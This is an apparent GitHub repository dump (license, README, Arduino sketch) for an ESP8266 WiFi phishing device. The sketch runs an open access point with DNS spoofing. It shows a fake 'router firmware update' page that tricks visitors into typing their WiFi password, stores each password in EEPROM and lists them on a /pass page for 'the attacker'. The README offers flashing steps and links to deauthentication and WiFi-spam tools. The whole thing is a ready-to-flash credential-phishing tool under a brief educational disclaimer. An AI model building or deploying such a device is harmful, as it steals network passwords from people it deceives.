[
  {
    "path": "LICENSE",
    "content": "MIT License\n\nCopyright (c) 2018 BlueArduino20\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "README.md",
    "content": "# ESP8266 WiFi Captive Portal\n\n## Disclaimer\nThis project is for testing and educational purposes. Use it only against your own networks and devices. I don't take any responsibility for what you do with this program.\n\n## About this project\nWiFi captive portal for the NodeMCU (ESP8266 Module) with DNS spoofing.\n\nThe built-in LED will blink 5 times when a password is posted.\n\n<b>Warning!</b> Your saved passwords will **not** disappear when you restart/power off the ESP8266.\n\n<b>Note:</b> If you want to see the stored passwords go to \"**172.0.0.1**<a>/pass</a>\". For changing the SSID, go to \"**172.0.0.1**<a>/ssid</a>\"\n\n<b>V. 2.0 (Fake sign in)</b>: https://github.com/125K/ESP8266_WiFi_Captive_Portal_2.0\n\n# Showcase\n\n<a target=\"_blank\" href=\"https://youtu.be/v4-5oX3RG94\"><img width=\"700px\" src=\"https://raw.githubusercontent.com/125K/ESP8266_WiFi_Captive_Portal/master/src/thumbnail.png\"></a>\n\n# Screenshots\n\n<table>\n  <tr>\n    <th>172.0.0.1/index</th>\n    <th>172.0.0.1/post</th> \n    <th>172.0.0.1/pass</th>\n    <th>172.0.0.1/ssid</th>\n  </tr>\n  <tr>\n    <td>This is the main page. Here the user will write his password and send it.</td>\n    <td>This is the post page. The user will be redirected here after posting the password.</td>\n    <td>This is where the attacker can retrieve all the passwords that has been posted.</td>\n    <td>Here the attacker can change the SSID name of the Access Point on the go.</td>\n  <tr>\n    <td><img width=\"200px\" src=\"https://raw.githubusercontent.com/BlueArduino20/ESP8266_WiFi_Captive_Portal/master/src/1_Index_2.jpg\" title=\"index\"></td>\n    <td><img width=\"200px\" src=\"https://raw.githubusercontent.com/BlueArduino20/ESP8266_WiFi_Captive_Portal/master/src/2_Post.jpg\" title=\"post\"></td>\n    <td><img width=\"200px\" src=\"https://raw.githubusercontent.com/BlueArduino20/ESP8266_WiFi_Captive_Portal/master/src/3_Pass.jpg\" title=\"pass\"></td>\n<td><img width=\"200px\" src=\"https://raw.githubusercontent.com/BlueArduino20/ESP8266_WiFi_Captive_Portal/master/src/4_ssid.jpg\" title=\"ssid\"></td>\n  </tr>\n</table>\n\nHere you can donate if you liked my project and you want to support me:\n\n<a href=\"https://www.buymeacoffee.com/rSiZtB3\" target=\"_blank\"><img src=\"https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png\" alt=\"Buy Me A Coffee\" style=\"height: 41px !important;width: 174px !important;box-shadow: 0px 3px 2px 0px rgba(190, 190, 190, 0.5) !important;-webkit-box-shadow: 0px 3px 2px 0px rgba(190, 190, 190, 0.5) !important;\" ></a>\n\n# Installation (ESP8266 Flasher - Easy way)\n\n1. Download <a href=\"https://github.com/nodemcu/nodemcu-flasher\"><b>ESP8266 Flasher</b></a>.\n\n2. Download the <b><a href=\"https://github.com/125K/ESP8266_WiFi_Captive_Portal/releases/download/1.1/release.bin\">release.bin</b></a> file.\n\n3. Open the ESP8266 Flasher and select the Node MCU port\n\n<img width=\"80%\" src=\"https://raw.githubusercontent.com/BlueArduino20/ESP8266_WiFi_Captive_Portal_2.0/master/src/1_port_selection.PNG\">\n\n4. Then, go to the config tab and select the .bin file you've just downloaded.\n\n<img width=\"80%\" src=\"https://raw.githubusercontent.com/BlueArduino20/ESP8266_WiFi_Captive_Portal_2.0/master/src/2_file_selection.png\">\n\n5. Finally, go back to the first tab and press \"Flash\"\n\n6. Your Node MCU is ready!\n\n# Installation (Arduino IDE)\n\n1. Open your <a href=\"https://www.arduino.cc/en/main/software\">Arduino IDE</a> and go to \"File -> Preferences -> Boards Manager URLs\" and paste the following link:\n``http://arduino.esp8266.com/stable/package_esp8266com_index.json``\n2. Go to \"Tools -> Board -> Boards Manager\", search \"esp8266\" and install esp8266\n3. Go to \"Tools -> Board\" and select you board\"\n4. Download and open the sketch \"<a href=\"https://github.com/125K/ESP8266_WiFi_Captive_Portal/blob/master/WiFi_Captive_Portal.ino\"><b>WiFi_Captive_Portal.ino</b></a>\"\n5. You can optionally change some parameters like the SSID name and texts of the page like title, subtitle, text body...\n6. Upload the code into your board.\n7. You are done!\n\n\n## Check out my other projects\n\n- **WiFi-Spam**: :email::satellite: Spam thousands of WiFi access points with custom SSIDs.\n  - https://github.com/125K/WiFi-Spam\n- **PwrDeauther**: :zap: Deauth a specific WiFi access point or an entire channel.\n  - https://github.com/125K/PwrDeauther\n"
  },
  {
    "path": "WiFi_Captive_Portal.ino",
    "content": "// ESP8266 WiFi Captive Portal\n// By 125K (github.com/125K)\n\n// Libraries\n#include <ESP8266WiFi.h>\n#include <DNSServer.h> \n#include <ESP8266WebServer.h>\n#include <EEPROM.h>\n\n// Default SSID name\nconst char* SSID_NAME = \"Free WiFi\";\n\n// Default main strings\n#define SUBTITLE \"Router info.\"\n#define TITLE \"Update\"\n#define BODY \"Your router firmware is out of date. Update your firmware to continue browsing normally.\"\n#define POST_TITLE \"Updating...\"\n#define POST_BODY \"Your router is being updated. Please, wait until the proccess finishes.</br>Thank you.\"\n#define PASS_TITLE \"Passwords\"\n#define CLEAR_TITLE \"Cleared\"\n\n// Init system settings\nconst byte HTTP_CODE = 200;\nconst byte DNS_PORT = 53;\nconst byte TICK_TIMER = 1000;\nIPAddress APIP(172, 0, 0, 1); // Gateway\n\nString allPass = \"\";\nString newSSID = \"\";\nString currentSSID = \"\";\n\n// For storing passwords in EEPROM.\nint initialCheckLocation = 20; // Location to check whether the ESP is running for the first time.\nint passStart = 30;            // Starting location in EEPROM to save password.\nint passEnd = passStart;       // Ending location in EEPROM to save password.\n\n\nunsigned long bootTime=0, lastActivity=0, lastTick=0, tickCtr=0;\nDNSServer dnsServer; ESP8266WebServer webServer(80);\n\nString input(String argName) {\n  String a = webServer.arg(argName);\n  a.replace(\"<\",\"&lt;\");a.replace(\">\",\"&gt;\");\n  a.substring(0,200); return a; }\n\nString footer() { \n  return \"</div><div class=q><a>&#169; All rights reserved.</a></div>\";\n}\n\nString header(String t) {\n  String a = String(currentSSID);\n  String CSS = \"article { background: #f2f2f2; padding: 1.3em; }\" \n    \"body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }\"\n    \"div { padding: 0.5em; }\"\n    \"h1 { margin: 0.5em 0 0 0; padding: 0.5em; }\"\n    \"input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; border-radius: 10px; }\"\n    \"label { color: #333; display: block; font-style: italic; font-weight: bold; }\"\n    \"nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }\"\n    \"nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } \"\n    \"textarea { width: 100%; }\";\n  String h = \"<!DOCTYPE html><html>\"\n    \"<head><title>\" + a + \" :: \" + t + \"</title>\"\n    \"<meta name=viewport content=\\\"width=device-width,initial-scale=1\\\">\"\n    \"<style>\" + CSS + \"</style>\"\n    \"<meta charset=\\\"UTF-8\\\"></head>\"\n    \"<body><nav><b>\" + a + \"</b> \" + SUBTITLE + \"</nav><div><h1>\" + t + \"</h1></div><div>\";\n  return h; }\n\nString index() {\n  return header(TITLE) + \"<div>\" + BODY + \"</ol></div><div><form action=/post method=post><label>WiFi password:</label>\"+\n    \"<input type=password name=m></input><input type=submit value=Start></form>\" + footer();\n}\n\nString posted() {\n  String pass = input(\"m\");\n  pass = \"<li><b>\" + pass + \"</li></b>\"; // Adding password in a ordered list.\n  allPass += pass;                       // Updating the full passwords.\n\n  // Storing passwords to EEPROM.\n  for (int i = 0; i <= pass.length(); ++i)\n  {\n    EEPROM.write(passEnd + i, pass[i]); // Adding password to existing password in EEPROM.\n  }\n\n  passEnd += pass.length(); // Updating end position of passwords in EEPROM.\n  EEPROM.write(passEnd, '\\0');\n  EEPROM.commit();\n  return header(POST_TITLE) + POST_BODY + footer();\n}\n\nString pass() {\n  return header(PASS_TITLE) + \"<ol>\" + allPass + \"</ol><br><center><p><a style=\\\"color:blue\\\" href=/>Back to Index</a></p><p><a style=\\\"color:blue\\\" href=/clear>Clear passwords</a></p></center>\" + footer();\n}\n\nString ssid() {\n  return header(\"Change SSID\") + \"<p>Here you can change the SSID name. After pressing the button \\\"Change SSID\\\" you will lose the connection, so reconnect to the new SSID.</p>\" + \"<form action=/postSSID method=post><label>New SSID name:</label>\"+\n    \"<input type=text name=s></input><input type=submit value=\\\"Change SSID\\\"></form>\" + footer();\n}\n\nString postedSSID() {\n  String postedSSID = input(\"s\"); newSSID=\"<li><b>\" + postedSSID + \"</b></li>\";\n  for (int i = 0; i < postedSSID.length(); ++i) {\n    EEPROM.write(i, postedSSID[i]);\n  }\n  EEPROM.write(postedSSID.length(), '\\0');\n  EEPROM.commit();\n  WiFi.softAP(postedSSID);\n}\n\nString clear() {\n  allPass = \"\";\n  passEnd = passStart; // Setting the password end location -> starting position.\n  EEPROM.write(passEnd, '\\0');\n  EEPROM.commit();\n  return header(CLEAR_TITLE) + \"<div><p>The password list has been reseted.</div></p><center><a style=\\\"color:blue\\\" href=/>Back to Index</a></center>\" + footer();\n}\n\nvoid BLINK() { // The built-in LED will blink 5 times after a password is posted.\n  for (int counter = 0; counter < 10; counter++)\n  {\n    // For blinking the LED.\n    digitalWrite(BUILTIN_LED, counter % 2);\n    delay(500);\n  }\n}\n\nvoid setup() {\n  // Serial begin\n  Serial.begin(115200);\n  \n  bootTime = lastActivity = millis();\n  EEPROM.begin(512);\n  delay(10);\n\n  // Check whether the ESP is running for the first time.\n  String checkValue = \"first\"; // This will will be set in EEPROM after the first run.\n\n  for (int i = 0; i < checkValue.length(); ++i)\n  {\n    if (char(EEPROM.read(i + initialCheckLocation)) != checkValue[i])\n    {\n      // Add \"first\" in initialCheckLocation.\n      for (int i = 0; i < checkValue.length(); ++i)\n      {\n        EEPROM.write(i + initialCheckLocation, checkValue[i]);\n      }\n      EEPROM.write(0, '\\0');         // Clear SSID location in EEPROM.\n      EEPROM.write(passStart, '\\0'); // Clear password location in EEPROM\n      EEPROM.commit();\n      break;\n    }\n  }\n  \n  // Read EEPROM SSID\n  String ESSID;\n  int i = 0;\n  while (EEPROM.read(i) != '\\0') {\n    ESSID += char(EEPROM.read(i));\n    i++;\n  }\n\n  // Reading stored password and end location of passwords in the EEPROM.\n  while (EEPROM.read(passEnd) != '\\0')\n  {\n    allPass += char(EEPROM.read(passEnd)); // Reading the store password in EEPROM.\n    passEnd++;                             // Updating the end location of password in EEPROM.\n  }\n  \n  WiFi.mode(WIFI_AP);\n  WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0));\n\n  // Setting currentSSID -> SSID in EEPROM or default one.\n  currentSSID = ESSID.length() > 1 ? ESSID.c_str() : SSID_NAME;\n\n  Serial.print(\"Current SSID: \");\n  Serial.print(currentSSID);\n  WiFi.softAP(currentSSID);  \n\n  // Start webserver\n  dnsServer.start(DNS_PORT, \"*\", APIP); // DNS spoofing (Only for HTTP)\n  webServer.on(\"/post\",[]() { webServer.send(HTTP_CODE, \"text/html\", posted()); BLINK(); });\n  webServer.on(\"/ssid\",[]() { webServer.send(HTTP_CODE, \"text/html\", ssid()); });\n  webServer.on(\"/postSSID\",[]() { webServer.send(HTTP_CODE, \"text/html\", postedSSID()); });\n  webServer.on(\"/pass\",[]() { webServer.send(HTTP_CODE, \"text/html\", pass()); });\n  webServer.on(\"/clear\",[]() { webServer.send(HTTP_CODE, \"text/html\", clear()); });\n  webServer.onNotFound([]() { lastActivity=millis(); webServer.send(HTTP_CODE, \"text/html\", index()); });\n  webServer.begin();\n\n  // Enable the built-in LED\n  pinMode(BUILTIN_LED, OUTPUT);\n  digitalWrite(BUILTIN_LED, HIGH);\n}\n\n\nvoid loop() { \n  if ((millis() - lastTick) > TICK_TIMER) {lastTick = millis();} \ndnsServer.processNextRequest(); webServer.handleClient(); }\n"
  }
]